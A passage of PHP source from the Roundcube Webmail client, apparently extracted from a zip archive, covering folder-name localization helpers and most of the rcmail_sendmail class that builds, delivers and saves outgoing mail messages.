        foreach ($arrFolders as $folder) {
            // skip exceptions (and its subfolders)
            if (!empty($opts['exceptions']) && in_array($folder['id'], $opts['exceptions'])) {
                continue;
            }

            // skip folders in which it isn't possible to create subfolders
            if (!empty($opts['skip_noinferiors'])) {
                $attrs = $storage->folder_attributes($folder['id']);
                if ($attrs && in_array_nocase('\\Noinferiors', $attrs)) {
                    continue;
                }
            }

            $folder_class = self::folder_classname($folder['id'], $folder['class'] ?? null);
            $realname     = $folder['realname'] ?? $realnames;

            if ($folder_class && !$realname && $rcmail->text_exists($folder_class)) {
                $foldername = $rcmail->gettext($folder_class);
            }
            else {
                $foldername = $folder['name'];

                // shorten the folder name to a given length
                if ($maxlength && $maxlength > 1) {
                    $foldername = abbreviate_string($foldername, $maxlength);
                }
            }

            $select->add(str_repeat('&nbsp;', $nestLevel*4) . html::quote($foldername), $folder['id']);

            if (!empty($folder['folders'])) {
                $out .= self::render_folder_tree_select($folder['folders'], $mbox_name, $maxlength,
                    $select, $realnames, $nestLevel+1, $opts);
            }
        }

        return $out;
    }

    /**
     * Returns class name for the given folder if it is a special folder
     * (including shared/other users namespace roots).
     *
     * @param string $folder_id IMAP Folder name
     * @param string $fallback  Fallback Folder CSS class name
     *
     * @return string|null CSS class name
     */
    public static function folder_classname($folder_id, $fallback = null)
    {
        static $classes;

        if ($classes === null) {
            $rcmail  = rcmail::get_instance();
            $storage = $rcmail->get_storage();
            $classes = ['INBOX' => 'inbox'];

            // for these mailboxes we have css classes
            foreach (['sent', 'drafts', 'trash', 'junk'] as $type) {
                if (($mbox = $rcmail->config->get($type . '_mbox')) && !isset($classes[$mbox])) {
                    $classes[$mbox] = $type;
                }
            }

            // add classes for shared/other user namespace roots
            foreach (['other', 'shared'] as $ns_name) {
                if ($ns = $storage->get_namespace($ns_name)) {
                    foreach ($ns as $root) {
                        $root = substr($root[0], 0, -1);
                        if (strlen($root) && !isset($classes[$root])) {
                            $classes[$root] = "ns-$ns_name";
                        }
                    }
                }
            }
        }

        return !empty($classes[$folder_id]) ? $classes[$folder_id] : $fallback;
    }

    /**
     * Try to localize the given IMAP folder name.
     * UTF-7 decode it in case no localized text was found
     *
     * @param string $name        Folder name
     * @param bool   $with_path   Enable path localization
     * @param bool   $path_remove Remove the path
     *
     * @return string Localized folder name in UTF-8 encoding
     */
    public static function localize_foldername($name, $with_path = false, $path_remove = false)
    {
        $rcmail    = rcmail::get_instance();
        $realnames = $rcmail->config->get('show_real_foldernames');

        if (!$realnames && ($folder_class = self::folder_classname($name)) && $rcmail->text_exists($folder_class)) {
            return $rcmail->gettext($folder_class);
        }

        $storage   = $rcmail->get_storage();
        $delimiter = $storage->get_hierarchy_delimiter();

        // Remove the path
        if ($path_remove) {
            if (strpos($name, $delimiter)) {
                $path = explode($delimiter, $name);
                $name = array_pop($path);
            }
        }
        // try to localize path of the folder
        else if ($with_path && !$realnames) {
            $path  = explode($delimiter, $name);
            $count = count($path);

            if ($count > 1) {
                for ($i = 1; $i < $count; $i++) {
                    $folder       = implode($delimiter, array_slice($path, 0, -$i));
                    $folder_class = self::folder_classname($folder);

                    if ($folder_class && $rcmail->text_exists($folder_class)) {
                        $name = implode($delimiter, array_slice($path, $count - $i));
                        $name = rcube_charset::convert($name, 'UTF7-IMAP');

                        return $rcmail->gettext($folder_class) . $delimiter . $name;
                    }
                }
            }
        }

        return rcube_charset::convert($name, 'UTF7-IMAP');
    }

    /**
     * Localize folder path
     */
    public static function localize_folderpath($path)
    {
        $rcmail          = rcmail::get_instance();
        $protect_folders = $rcmail->config->get('protect_default_folders');
        $delimiter       = $rcmail->storage->get_hierarchy_delimiter();
        $path            = explode($delimiter, $path);
        $result          = [];

        foreach ($path as $idx => $dir) {
            $directory = implode($delimiter, array_slice($path, 0, $idx+1));
            if ($protect_folders && $rcmail->storage->is_special_folder($directory)) {
                unset($result);
                $result[] = self::localize_foldername($directory);
            }
            else {
                $result[] = rcube_charset::convert($dir, 'UTF7-IMAP');
            }
        }

        return implode($delimiter, $result);
    }

    /**
     * Gets a value of a boolean attribute from template object attributes
     *
     * @param array  $attributes Template object attributes
     * @param string $name       Attribute name
     */
    public static function get_bool_attr($attributes, $name)
    {
        if (!isset($attributes[$name])) {
            return false;
        }

        return rcube_utils::get_boolean($attributes[$name]);
    }
}
PK
h�\g2Wp��#program/include/rcmail_sendmail.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Common code for generating and saving/sending mail message          |
 |   with support for common user interface elements                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Common code for generating and saving/sending mail message
 * with support for common user interface elements.
 *
 * @package Webmail
 */
class rcmail_sendmail
{
    public $data    = [];
    public $options = [];

    protected $parse_data = [];
    protected $message_form;
    protected $rcmail;
    protected $temp_files = [];

    // define constants for message compose mode
    const MODE_NONE    = 'none';
    const MODE_REPLY   = 'reply';
    const MODE_FORWARD = 'forward';
    const MODE_DRAFT   = 'draft';
    const MODE_EDIT    = 'edit';


    /**
     * Object constructor
     *
     * @param array $data    Compose data
     * @param array $options Operation options:
     *    savedraft (bool) - Enable save-draft mode
     *    sendmail (bool) - Enable send-mail mode
     *    saveonly (bool) - Enable save-only mode
     *    message (object) - Message object to get some data from
     *    error_handler (callback) - Error handler
     *    dsn_enabled (bool) - Enable DSN
     */
    public function __construct($data = [], $options = [])
    {
        $this->rcmail  = rcube::get_instance();
        $this->data    = (array) $data;
        $this->options = (array) $options;

        $this->options['sendmail_delay'] = (int) $this->rcmail->config->get('sendmail_delay');

        if (empty($options['error_handler'])) {
            $this->options['error_handler'] = function() { return false; };
        }

        if (empty($this->data['mode'])) {
            $this->data['mode'] = self::MODE_NONE;
        }

        if (!empty($this->options['message'])) {
            $this->compose_init($this->options['message']);
        }
    }

    /**
     * Object destructor to cleanup temporary files
     */
    public function __destruct()
    {
        foreach ($this->temp_files as $file) {
            @unlink($file);
        }
    }

    /**
     * Collect input data for message headers
     *
     * @return array Message headers
     */
    public function headers_input()
    {
        if (!empty($this->options['sendmail']) && $this->options['sendmail_delay']) {
            $last_time = $this->rcmail->config->get('last_message_time');
            $wait_sec  = time() - $this->options['sendmail_delay'] - intval($last_time);

            if ($wait_sec < 0) {
                return $this->options['error_handler']('senttooquickly', 'error', ['sec' => $wait_sec * -1]);
            }
        }

        // set default charset
        if (empty($this->options['charset'])) {
            $charset = rcube_utils::get_input_string('_charset', rcube_utils::INPUT_POST) ?: $this->rcmail->output->get_charset();
            $this->options['charset'] = $charset;
        }

        $charset = $this->options['charset'];

        $this->parse_data = [];

        $mailto  = $this->email_input_format(rcube_utils::get_input_string('_to', rcube_utils::INPUT_POST, true, $charset), true);
        $mailcc  = $this->email_input_format(rcube_utils::get_input_string('_cc', rcube_utils::INPUT_POST, true, $charset), true);
        $mailbcc = $this->email_input_format(rcube_utils::get_input_string('_bcc', rcube_utils::INPUT_POST, true, $charset), true);

        if (!empty($this->parse_data['INVALID_EMAIL']) && empty($this->options['savedraft'])) {
            return $this->options['error_handler']('emailformaterror', 'error', ['email' => $this->parse_data['INVALID_EMAIL']]);
        }

        if (($max_recipients = (int) $this->rcmail->config->get('max_recipients')) > 0) {
            if ($this->parse_data['RECIPIENT_COUNT'] > $max_recipients) {
                return $this->options['error_handler']('toomanyrecipients', 'error', ['max' => $max_recipients]);
            }
        }

        if (empty($mailto) && !empty($mailcc)) {
            $mailto = $mailcc;
            $mailcc = null;
        }
        else if (empty($mailto)) {
            $mailto = 'undisclosed-recipients:;';
        }

        $dont_override = (array) $this->rcmail->config->get('dont_override');
        $mdn_enabled   = in_array('mdn_default', $dont_override) ? $this->rcmail->config->get('mdn_default') : !empty($_POST['_mdn']);
        $dsn_enabled   = in_array('dsn_default', $dont_override) ? $this->rcmail->config->get('dsn_default') : !empty($_POST['_dsn']);
        $subject       = rcube_utils::get_input_string('_subject', rcube_utils::INPUT_POST, true, $charset);
        $from          = rcube_utils::get_input_string('_from', rcube_utils::INPUT_POST, true, $charset);
        $replyto       = rcube_utils::get_input_string('_replyto', rcube_utils::INPUT_POST, true, $charset);
        $followupto    = rcube_utils::get_input_string('_followupto', rcube_utils::INPUT_POST, true, $charset);
        $from_string   = '';

        // Get sender name and address from identity...
        if (is_numeric($from)) {
            if (is_array($identity_arr = $this->get_identity($from))) {
                if ($identity_arr['mailto']) {
                    $from = $identity_arr['mailto'];
                }
                if ($identity_arr['string']) {
                    $from_string = $identity_arr['string'];
                }
            }
            else {
                $from = null;
            }
        }
        else {
            // ... if there is no identity record, this might be a custom from
            $from_addresses = rcube_mime::decode_address_list($from, null, true, $charset);

            if (count($from_addresses) == 1) {
                $from        = $from_addresses[1]['mailto'];
                $from_string = $from_addresses[1]['string'];
            }
            // ... otherwise it's empty or invalid
            else {
                $from = null;
            }
        }

        // check 'From' address (identity may be incomplete)
        if (empty($this->options['savedraft']) && empty($this->options['saveonly']) && empty($from)) {
            return $this->options['error_handler']('nofromaddress', 'error');
        }

        if (!$from_string && $from) {
            $from_string = $from;
        }

        $from_string = rcube_charset::convert($from_string, RCUBE_CHARSET, $charset);

        if (!empty($this->data['param']['message-id'])) {
            $message_id  = $this->data['param']['message-id'];
        }
        else {
            $message_id = $this->rcmail->gen_message_id($from);
        }

        // Don't allow CRLF in subject (#8404)
        $subject = trim(preg_replace('|\r?\n|', ' ', $subject));

        $this->options['dsn_enabled'] = $dsn_enabled;
        $this->options['from']        = $from;
        $this->options['mailto']      = $mailto;

        // compose headers array
        $headers = [
            'Received'         => $this->header_received(),
            'Date'             => $this->rcmail->user_date(),
            'From'             => $from_string,
            'To'               => $mailto,
            'Cc'               => $mailcc,
            'Bcc'              => $mailbcc,
            'Subject'          => $subject,
            'Reply-To'         => $this->email_input_format($replyto),
            'Mail-Reply-To'    => $this->email_input_format($replyto),
            'Mail-Followup-To' => $this->email_input_format($followupto),
            'In-Reply-To'      => $this->data['reply_msgid'] ?? null,
            'References'       => $this->data['references'] ?? null,
            'User-Agent'       => $this->rcmail->config->get('useragent'),
            'Message-ID'       => $message_id,
            'X-Sender'         => $from,
        ];

        if (!empty($identity_arr['organization'])) {
            $headers['Organization'] = $identity_arr['organization'];
        }

        if ($mdn_enabled) {
            $headers['Disposition-Notification-To'] = $from_string;
        }

        if (!empty($_POST['_priority'])) {
            $priority     = intval($_POST['_priority']);
            $a_priorities = [1 => 'highest', 2 => 'high', 4 => 'low', 5 => 'lowest'];

            if (!empty($a_priorities[$priority])) {
                $headers['X-Priority'] = sprintf("%d (%s)", $priority, ucfirst($a_priorities[$priority]));
            }
        }

        // remember reply/forward UIDs in special headers
        if (!empty($this->options['savedraft'])) {
            $draft_info = [];

            // Note: We ignore <UID>.<PART> forwards/replies here
            if (
                !empty($this->data['reply_uid'])
                && ($uid = $this->data['reply_uid'])
                && !preg_match('/^\d+\.[0-9.]+$/', $uid)
            ) {
                $draft_info['type']   = 'reply';
                $draft_info['uid']    = $uid;
                $draft_info['folder'] = $this->data['mailbox'];
            }
            else if (
                !empty($this->data['forward_uid'])
                && ($uid = rcube_imap_generic::compressMessageSet($this->data['forward_uid']))
                && !preg_match('/^\d+[0-9.]+$/', $uid)
            ) {
                $draft_info['type']   = 'forward';
                $draft_info['uid']    = $uid;
                $draft_info['folder'] = $this->data['mailbox'];
            }

            if ($dsn_enabled) {
                $draft_info['dsn'] = 'on';
            }

            if (!empty($draft_info)) {
                $headers['X-Draft-Info'] = $this->draftinfo_encode($draft_info);
            }
        }

        return array_filter($headers);
    }

    /**
     * Set charset and transfer encoding on the message
     *
     * @param Mail_mime $message Message object
     * @param bool      $flowed  Enable format=flowed
     */
    public function set_message_encoding($message, $flowed = false)
    {
        $text_charset      = $this->options['charset'];
        $transfer_encoding = '7bit';
        $head_encoding     = 'quoted-printable';

        // choose encodings for plain/text body and message headers
        if (preg_match('/ISO-2022/i', $text_charset)) {
            $head_encoding = 'base64'; // RFC1468
        }
        else if (preg_match('/[^\x00-\x7F]/', $message->getTXTBody())) {
            $transfer_encoding = $this->rcmail->config->get('force_7bit') ? 'quoted-printable' : '8bit';
        }
        else if ($this->options['charset'] == 'UTF-8') {
            $text_charset = 'US-ASCII';
        }

        if ($flowed) {
            $text_charset .= ";\r\n format=flowed";
        }

        // encoding settings for mail composing
        $message->setParam('text_encoding', $transfer_encoding);
        $message->setParam('html_encoding', 'quoted-printable');
        $message->setParam('head_encoding', $head_encoding);
        $message->setParam('head_charset', $this->options['charset']);
        $message->setParam('html_charset', $this->options['charset']);
        $message->setParam('text_charset', $text_charset);
    }

    /**
     * Create a message to be saved/sent
     *
     * @param array  $headers     Message headers
     * @param string $body        Message body
     * @param bool   $isHtml      The body is HTML or not
     * @param array  $attachments Optional message attachments array
     *
     * @return Mail_mime Message object
     */
    public function create_message($headers, $body, $isHtml = false, $attachments = [])
    {
        $charset = $this->options['charset'];

        if (!empty($this->options['keepformatting'])) {
            $flowed = false;
        } else {
            $flowed = !empty($this->options['savedraft']) || $this->rcmail->config->get('send_format_flowed', true);
        }

        // create PEAR::Mail_mime instance
        $MAIL_MIME = new Mail_mime("\r\n");

        // Check if we have enough memory to handle the message in it
        // It's faster than using files, so we'll do this if we only can
        if (is_array($attachments)) {
            $memory = 0;
            foreach ($attachments as $attachment) {
                $memory += $attachment['size'];
            }

            // Yeah, Net_SMTP needs up to 12x more memory, 1.33 is for base64
            if (!rcube_utils::mem_check($memory * 1.33 * 12)) {
                $MAIL_MIME->setParam('delay_file_io', true);
            }
        }

        $plugin = $this->rcmail->plugins->exec_hook('message_outgoing_body', [
                'body'    => $body,
                'type'    => $isHtml ? 'html' : 'plain',
                'message' => $MAIL_MIME
        ]);

        // For HTML-formatted messages, construct the MIME message with both
        // the HTML part and the plain-text part
        if ($isHtml) {
            $MAIL_MIME->setHTMLBody($plugin['body']);

            $plain_body = $this->rcmail->html2text($plugin['body'], ['width' => 0, 'charset' => $charset]);
            $plain_body = $this->format_plain_body($plain_body, $flowed);

            // There's no sense to use multipart/alternative if the text/plain
            // part would be blank. Completely blank text/plain part may confuse
            // some mail clients (#5283)
            if (strlen(trim($plain_body)) > 0) {
                $plugin = $this->rcmail->plugins->exec_hook('message_outgoing_body', [
                        'body'    => $plain_body,
                        'type'    => 'alternative',
                        'message' => $MAIL_MIME
                ]);

                // add a plain text version of the e-mail as an alternative part.
                $MAIL_MIME->setTXTBody($plugin['body']);
            }

            // Extract image Data URIs into message attachments (#1488502)
            $this->extract_inline_images($MAIL_MIME, $this->options['from']);
        }
        else {
            $body = $this->format_plain_body($plugin['body'], $flowed);

            $MAIL_MIME->setTXTBody($body, false, true);
        }

        // encoding settings for mail composing
        $this->set_message_encoding($MAIL_MIME, $flowed);

        // pass headers to message object
        $MAIL_MIME->headers($headers);

        return $MAIL_MIME;
    }

    /**
     * Prepare plain text content for the message (format=flowed and wrapping)
     *
     * @param string $body   Plain text message body
     * @param bool   $flowed Enable format=flowed formatting
     *
     * @return string Formatted content
     */
    protected function format_plain_body($body, $flowed = false)
    {
        if (empty($this->options['keepformatting'])) {
            // set line length for body wrapping
            $line_length = $this->rcmail->config->get('line_length', 72);
            $charset     = $this->options['charset'];

            if ($flowed) {
                $body = rcube_mime::format_flowed($body, min($line_length + 2, 79), $charset);
            }
            else {
                $body = rcube_mime::wordwrap($body, $line_length, "\r\n", false, $charset);
            }

            $body = wordwrap($body, 998, "\r\n", true);
        }

        // make sure all line endings are CRLF (#1486712)
        $body = preg_replace('/\r?\n/', "\r\n", $body);

        return $body;
    }

    /**
     * Message delivery, and setting Replied/Forwarded flag on success
     *
     * @param Mail_mime $message    Message object
     * @param bool      $disconnect Close SMTP connection after delivery
     *
     * @return bool True on success, False on failure
     */
    public function deliver_message($message, $disconnect = true)
    {
        // Handle Delivery Status Notification request
        $smtp_opts     = ['dsn' => $this->options['dsn_enabled']];
        $smtp_error    = null;
        $mailbody_file = null;

        $sent = $this->rcmail->deliver_message($message,
            $this->options['from'],
            $this->options['mailto'],
            $smtp_error, $mailbody_file, $smtp_opts, $disconnect
        );

        // return to compose page if sending failed
        if (!$sent) {
            // remove temp file
            if ($mailbody_file) {
                unlink($mailbody_file);
            }

            if ($smtp_error && is_string($smtp_error)) {
                $this->options['error_handler']($smtp_error, 'error');
            }
            else if ($smtp_error && !empty($smtp_error['label'])) {
                $this->options['error_handler']($smtp_error['label'], 'error', $smtp_error['vars']);
            }
            else {
                $this->options['error_handler']('sendingfailed', 'error');
            }

            return false;
        }

        if ($mailbody_file) {
            $this->temp_files[$message->headers()['Message-ID']] = $mailbody_file;
        }

        // save message sent time
        if ($this->options['sendmail_delay']) {
            $this->rcmail->user->save_prefs(['last_message_time' => time()]);
        }

        // Collect recipients' addresses
        $this->collect_recipients($message);

        // set replied/forwarded flag
        if (!empty($this->data['reply_uid'])) {
            foreach (rcmail::get_uids($this->data['reply_uid'], $this->data['mailbox']) as $mbox => $uids) {
                // skip <UID>.<PART> replies
                if (!preg_match('/^\d+\.[0-9.]+$/', implode(',', (array) $uids))) {
                    $this->rcmail->storage->set_flag($uids, 'ANSWERED', $mbox);
                }
            }
        }
        else if (!empty($this->data['forward_uid'])) {
            foreach (rcmail::get_uids($this->data['forward_uid'], $this->data['mailbox']) as $mbox => $uids) {
                // skip <UID>.<PART> forwards
                if (!preg_match('/^\d+\.[0-9.]+$/', implode(',', (array) $uids))) {
                    $this->rcmail->storage->set_flag($uids, 'FORWARDED', $mbox);
                }
            }
        }

        return true;
    }

    /**
     * Save the message into Drafts folder (in savedraft mode)
     * or in Sent mailbox if specified/configured
     *
     * @param Mail_mime $message Message object
     *
     * @return mixed Operation status
     */
    public function save_message($message)
    {
        $store_folder = false;
        $store_target = null;
        $saved        = false;

        // Determine which folder to save message
        if (!empty($this->options['savedraft'])) {
            $store_target = $this->rcmail->config->get('drafts_mbox');
        }
        else if (!$this->rcmail->config->get('no_save_sent_messages')) {
            if (isset($_POST['_store_target'])) {
                $store_target = rcube_utils::get_input_string('_store_target', rcube_utils::INPUT_POST, true);
            }
            else {
                $store_target = $this->rcmail->config->get('sent_mbox');
            }
        }

        if ($store_target) {
            $storage = $this->rcmail->get_storage();

            // check if folder is subscribed
            if ($storage->folder_exists($store_target, true)) {
                $store_folder = true;
            }
            // folder may be existing but not subscribed (#1485241)
            else if (!$storage->folder_exists($store_target)) {
                $store_folder = $storage->create_folder($store_target, true);
            }
            else if ($storage->subscribe($store_target)) {
                $store_folder = true;
            }

            // append message to sent box
            if ($store_folder) {
                // message body in file
                $msg_id = $message->headers()['Message-ID'];

                if ($message->getParam('delay_file_io') && empty($this->temp_files[$msg_id])) {
                    $msg_file = rcube_utils::temp_filename('msg');
                    $msg = $message->saveMessageBody($msg_file);

                    if (!is_a($msg, 'PEAR_Error')) {
                        $this->temp_files[$msg_id] = $msg_file;
                    }
                }

                if (!empty($this->temp_files[$msg_id])) {
                    $msg     = $this->temp_files[$msg_id];
                    $headers = $message->txtHeaders();
                }
                else if (empty($msg)) {
                    $msg     = $message->getMessage();
                    $headers = '';
                }

                if (is_a($msg, 'PEAR_Error')) {
                    rcube::raise_error([
                        'code' => 650, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Could not create message: ".$msg->getMessage()],
                        true, false);
                }
                else {
                    $is_file = !empty($this->temp_files[$msg_id]);
                    $saved   = $storage->save_message($store_target, $msg, $headers, $is_file, ['SEEN']);
                }
            }

            // raise error if saving failed
            if (!$saved) {
                rcube::raise_error(['code' => 800, 'type' => 'imap',
                    'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Could not save message in $store_target"], true, false);
            }
        }

        $this->options['store_target'] = $store_target;
        $this->options['store_folder'] = $store_folder;

        return $saved;
    }

    /**
     * If enabled, returns Received header content to be prepended
     * to message headers
     *
     * @return string|null Received header content
     */
    public function header_received()
    {
        if ($this->rcmail->config->get('http_received_header')) {
            $nldlm       = "\r\n\t";
            $http_header = 'from ';

            // FROM/VIA
            if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $hosts        = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'], 2);
                $http_header .= $this->received_host($hosts[0]) . $nldlm . ' via ';
            }

            $http_header .= $this->received_host($_SERVER['REMOTE_ADDR']);

            // BY
            $http_header .= $nldlm . 'by ' . rcube_utils::server_name('HTTP_HOST');

            // WITH
            $http_header .= $nldlm . 'with HTTP (' . $_SERVER['SERVER_PROTOCOL']
                . ' ' . $_SERVER['REQUEST_METHOD'] . '); ' . date('r');

            return wordwrap($http_header, 69, $nldlm);
        }
    }

    /**
     * Converts host address into host spec. for Received header
     */
    protected function received_host($host)
    {
        $hostname = gethostbyaddr($host);
        $result   = $this->encrypt_host($hostname);

        if ($host != $hostname) {
            $result .= ' (' . $this->encrypt_host($host) . ')';
        }

        return $result;
    }

    /**
     * Encrypt host IP or hostname for Received header
     */
    protected function encrypt_host($host)
    {
        if ($this->rcmail->config->get('http_received_header_encrypt')) {
            return $this->rcmail->encrypt($host);
        }

        if (!preg_match('/[^0-9:.]/', $host)) {
            return "[$host]";
        }

        return $host;
    }

    /**
     * Returns user identity record
     *
     * @param int $id Identity ID
     *
     * @return array|false User identity data, False if there's no such identity
     */
    public function get_identity($id)
    {
        if ($sql_arr = $this->rcmail->user->get_identity($id)) {
            $out = $sql_arr;

            if (!empty($this->options['charset']) && $this->options['charset'] != RCUBE_CHARSET) {
                foreach ($out as $k => $v) {
                    $out[$k] = rcube_charset::convert($v, RCUBE_CHARSET, $this->options['charset']);
                }
            }

            $out['mailto'] = $sql_arr['email'];
            $out['string'] = format_email_recipient($sql_arr['email'], $sql_arr['name']);

            return $out;
        }

        return false;
    }

    /**
     * Extract image attachments from HTML message (data URIs)
     *
     * @param Mail_mime $message Message object
     * @param string    $from    Sender email address
     */
    public static function extract_inline_images($message, $from)
    {
        $body   = $message->getHTMLBody();
        $offset = 0;
        $list   = [];
        $domain = 'localhost';
        $regexp = '#img[^>]+src=[\'"](data:([^;]*);base64,([a-z0-9+/=\r\n]+))([\'"])#i';

        if (preg_match_all($regexp, $body, $matches, PREG_OFFSET_CAPTURE)) {
            // get domain for the Content-ID, must be the same as in Mail_Mime::get()
            if (preg_match('#@([0-9a-zA-Z\-\.]+)#', $from, $m)) {
                $domain = $m[1];
            }

            foreach ($matches[1] as $idx => $m) {
                $data = preg_replace('/\r\n/', '', $matches[3][$idx][0]);
                $data = base64_decode($data);

                if (empty($data)) {
                    continue;
                }

                $hash      = md5($data) . '@' . $domain;
                $mime_type = $matches[2][$idx][0];

                if (empty($mime_type)) {
                    $mime_type = rcube_mime::image_content_type($data);
                }

                // add the image to the MIME message
                if (empty($list[$hash])) {
                    $ext         = preg_replace('#^[^/]+/#', '', $mime_type);
                    $name        = substr($hash, 0, 8) . '.' . $ext;
                    $list[$hash] = $name;

                    $message->addHTMLImage($data, $mime_type, $name, false, $hash);
                }

                $name = $list[$hash];
                $body = substr_replace($body, $name, $m[1] + $offset, strlen($m[0]));
                $offset += strlen($name) - strlen($m[0]);
            }
        }

        $message->setHTMLBody($body);
    }

    /**
     * Parse and cleanup email address input (and count addresses)
     *
     * @param string $mailto Address input
     * @param bool   $count  Do count recipients (count saved in $this->parse_data['RECIPIENT_COUNT'])
     * @param bool   $check  Validate addresses (errors saved in $this->parse_data['INVALID_EMAIL'])
     *
     * @return string Canonical recipients string (comma separated)
     */
    public function email_input_format($mailto, $count = false, $check = true)
    {
        if (!isset($this->parse_data['RECIPIENT_COUNT'])) {
            $this->parse_data['RECIPIENT_COUNT'] = 0;
        }

        if (empty($mailto)) {
            return '';
        }

        // convert to UTF-8 to preserve \x2c(,) and \x3b(;) used in ISO-2022-JP;
        if ($charset = $this->options['charset']) {
            if ($charset != RCUBE_CHARSET) {
                $mailto = rcube_charset::convert($mailto, $charset, RCUBE_CHARSET);
            }
            if (preg_match('/ISO-2022/i', $charset)) {
                $use_base64 = true;
            }
        }

        // simplified email regexp, supporting quoted local part
        $email_regexp = '(\S+|("[^"]+"))@\S+';

        $delim   = ',;';
        $regexp  = ["/[$delim]\s*[\r\n]+/", '/[\r\n]+/', "/[$delim]\s*\$/m", '/;/', '/(\S{1})(<'.$email_regexp.'>)/U'];
        $replace = [', ', ', ', '', ',', '\\1 \\2'];

        // replace new lines and strip ending ', ', make address input more valid
        $mailto = trim(preg_replace($regexp, $replace, $mailto));
        $items  = rcube_utils::explode_quoted_string("[$delim]", $mailto);
        $result = [];

        foreach ($items as $item) {
            $item = trim($item);
            // address in brackets without name (do nothing)
            if (preg_match('/^<'.$email_regexp.'>$/', $item)) {
                $item     = rcube_utils::idn_to_ascii(trim($item, '<>'));
                $result[] = $item;
            }
            // address without brackets and without name (add brackets)
            else if (preg_match('/^'.$email_regexp.'$/', $item)) {
                // Remove trailing non-letter characters (#7899)
                $item     = preg_replace('/[^[:alnum:]]+$/u', '', $item);
                $item     = rcube_utils::idn_to_ascii($item);
                $result[] = $item;
            }
            // address with name (handle name)
            else if (preg_match('/<*'.$email_regexp.'>*$/', $item, $matches)) {
                $address = $matches[0];
                $name    = trim(str_replace($address, '', $item));
                if ($name[0] == '"' && $name[strlen($name)-1] == '"') {
                    $name = substr($name, 1, -1);
                }

                // encode "name" field
                if (!empty($use_base64)) {
                    $name = rcube_charset::convert($name, RCUBE_CHARSET, $charset);
                    $name = Mail_mimePart::encodeMB($name, $charset, 'base64');
                }
                else {
                    $name = stripcslashes($name);
                }

                $address  = rcube_utils::idn_to_ascii(trim($address, '<>'));
                $result[] = format_email_recipient($address, $name);
                $item     = $address;
            }

            // check address format
            $item = trim($item, '<>');
            if ($item && $check && !rcube_utils::check_email($item)) {
                $this->parse_data['INVALID_EMAIL'] = $item;
                return;
            }
        }

        if ($count) {
            $this->parse_data['RECIPIENT_COUNT'] += count($result);
        }

        return implode(', ', $result);
    }

    /**
     * Returns configured generic message footer
     *
     * @param bool $isHtml Return HTML or Plain text version of the footer?
     *
     * @return string|null Footer content
     */
    public function generic_message_footer($isHtml)
    {
        if ($isHtml && ($file = $this->rcmail->config->get('generic_message_footer_html'))) {
            $html_footer = true;
        }
        else {
            $file = $this->rcmail->config->get('generic_message_footer');
            $html_footer = false;
        }

        if ($file && realpath($file)) {
            // sanity check
            if (!preg_match('/\.(php|ini|conf)$/', $file) && strpos($file, '/etc/') === false) {
                $footer = file_get_contents($file);
                if ($isHtml && !$html_footer) {
                    $t2h    = new rcube_text2html($footer, false);
                    $footer = $t2h->get_html();
                }

                if (!empty($this->options['charset']) && $this->options['charset'] != RCUBE_CHARSET) {
                    $footer = rcube_charset::convert($footer, RCUBE_CHARSET, $this->options['charset']);
                }

                return $footer;
            }
        }
    }

    /**
     * Encode data array into a string for use in X-Draft-Info header
     *
     * @param array $data Data array
     *
     * @return string Decoded data as a string
     */
    public static function draftinfo_encode($data)
    {
        $parts = [];

        foreach ($data as $key => $val) {
            $encode  = $key == 'folder' || strpos($val, ';') !== false;
            $parts[] = $key . '=' . ($encode ? 'B::' . base64_encode($val) : $val);
        }

        return implode('; ', $parts);
    }

    /**
     * Decode X-Draft-Info header value into an array
     *
     * @param string $str Encoded data string (see self::draftinfo_encode())
     *
     * @return array Decoded data
     */
    public static function draftinfo_decode($str)
    {
        $info = [];

        foreach (preg_split('/;\s+/', $str) as $part) {
            list($key, $val) = explode('=', $part, 2);
            if (strpos($val, 'B::') === 0) {
                $val = base64_decode(substr($val, 3));
            }
            else if ($key == 'folder') {
                $val = base64_decode($val);
            }

            $info[$key] = $val;
        }

        return $info;
    }

    /**
     * Header (From, To, Cc, etc.) input object for templates
     */
    public function headers_output($attrib)
    {
        list($form_start,) = $this->form_tags($attrib);

        $out          = '';
        $part         = strtolower($attrib['part']);
        $fname        = null;
        $field_type   = null;
        $allow_attrib = [];
        $param        = $part;

        switch ($part) {
        case 'from':
            return $form_start . $this->compose_header_from($attrib);

        case 'to':
        case 'cc':
        case 'bcc':
            $fname  = '_' . $part;

            $allow_attrib = ['id', 'class', 'style', 'cols', 'rows', 'tabindex'];
            $field_type   = 'html_textarea';
            break;

        case 'replyto':
        case 'reply-to':
            $fname  = '_replyto';
            $param  = 'replyto';

        case 'followupto':
        case 'followup-to':
            if (!$fname) {
                $fname  = '_followupto';
                $param  = 'followupto';
            }

            $allow_attrib = ['id', 'class', 'style', 'size', 'tabindex'];
            $field_type   = 'html_inputfield';
            break;
        }

        if ($fname && $field_type) {
            // pass the following attributes to the form class
            $field_attrib = ['name' => $fname, 'spellcheck' => 'false'];
            foreach ($attrib as $attr => $value) {
                if (stripos($attr, 'data-') === 0 || in_array($attr, $allow_attrib)) {
                    $field_attrib[$attr] = $value;
                }
            }

            $mode = $this->data['mode'] ?? null;

            // create textarea object
            $input = new $field_type($field_attrib);
            $out   = $input->show($this->compose_header_value($param, $mode));
        }

        if ($form_start) {
            $out = $form_start . $out;
        }

        // configure autocompletion
        rcmail_action::autocomplete_init();

        return $out;
    }

    /**
     * Returns From header input element
     */
    protected function compose_header_from($attrib)
    {
        // pass the following attributes to the form class
        $field_attrib = ['name' => '_from'];
        foreach ($attrib as $attr => $value) {
            if (in_array($attr, ['id', 'class', 'style', 'size', 'tabindex'])) {
                $field_attrib[$attr] = $value;
            }
        }

        if (!empty($this->data['identities'])) {
            $a_signatures = [];
            $identities   = [];
            $top_posting  = intval($this->rcmail->config->get('reply_mode')) > 0
